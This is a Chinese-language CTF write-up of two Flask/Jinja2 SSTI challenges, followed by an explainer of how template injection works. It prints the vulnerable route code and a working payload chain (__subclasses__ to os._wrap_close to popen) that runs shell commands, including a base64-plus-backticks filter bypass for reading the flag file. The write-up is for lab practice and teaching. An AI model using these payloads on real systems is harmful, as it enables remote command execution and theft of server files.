ctfshow愚人杯 easy_ssti
考点:ssti漏洞
查看源码
下载这个文件
打开查看代码,分析可能在/hello/路径下存在ssti漏洞
from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')
def hello(name=None):return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):if "ge" in name:return render_template_string('hello %s' % name)elif "f" not in name:return render_template_string('hello %s' % name)else:return 'Nonononon'
进行{{}}测试,发现真是SSTI漏洞
这道题在执行cat /flag命令时会Not Found。
猜测了一下,应该是将语句中的"/"当成目录了。
那就试试base64+管道符绕过。
注意要包一层反引号(命令执行),不然会被当做字符串echo出来。
('cat /fl*')替换成(' ` echo Y2F0IC9mKg== | base64 -d ` ')
构造payload
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen'](' ` echo Y2F0IC9mKg== | base64 -d ` ').read()}}
最后得到flag。
[GDOUCTF 2023]<ez_ze>
考点:ssti漏洞,fenjing一把梭
输入1111,试试看
表面在/get_flag路径下可能存在ssti漏洞。
直接使用fenjing工具拿到flag。
知识点:SSTI漏洞
SSTI漏洞原理 服务端接收攻击者的恶意输入以后,未经任何处理就将其作为 Web应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。
模板渲染函数
这里主要有两种模板渲染函数,render_template_string()与render_template()
render_template是用来渲染一个指定文件的。
render_template_string()则是用来渲染字符串的。而渲染函数在渲染的时候,往往对用户输入的变量不做渲染,即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。
比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞
SSTI漏洞攻击方法
根据基类、子类的继承关系不断调用实现re的目的。
常用魔术方法
class :返回类型所属的对象
mro :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base :返回该对象所继承的父类
mro :返回该对象的所有父类subclasses() 获取当前类的所有子类
init 类的初始化方法
globals 对包含(保存)函数全局变量的字典的引用
解题思路
1.用__class__方法找到当前类
2.使用__base__方法,直到找到基类(如object)。避免麻烦,也可直接使用__mro__方法一步到位。
3.用__subclasses__()方法找出当前所有子类。并找到类<class ‘os._wrap_close’>,找出其下标。这个类可以执行命令,后面执行命令也是靠这个类。
4.用__init__方法初始化
5.用__globals__方法进行全局变量引用
6.用popen函数来执行系统命令,在后面加上具体的函数名即可找到对应的函数
7.最后一定要记得用.read()来读取一下,因为popen方法返回的是一个与子进程通信的对象,为了从该对象中获取子进程的输出,因此需要使用read()方法来读取子进程的输出
大致payload格式:
{{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat flag').read()}}
tips:实际题目可能不会这么简单,会有许多许多的过滤限制,所以学会思想和原理后还要根据题目加工。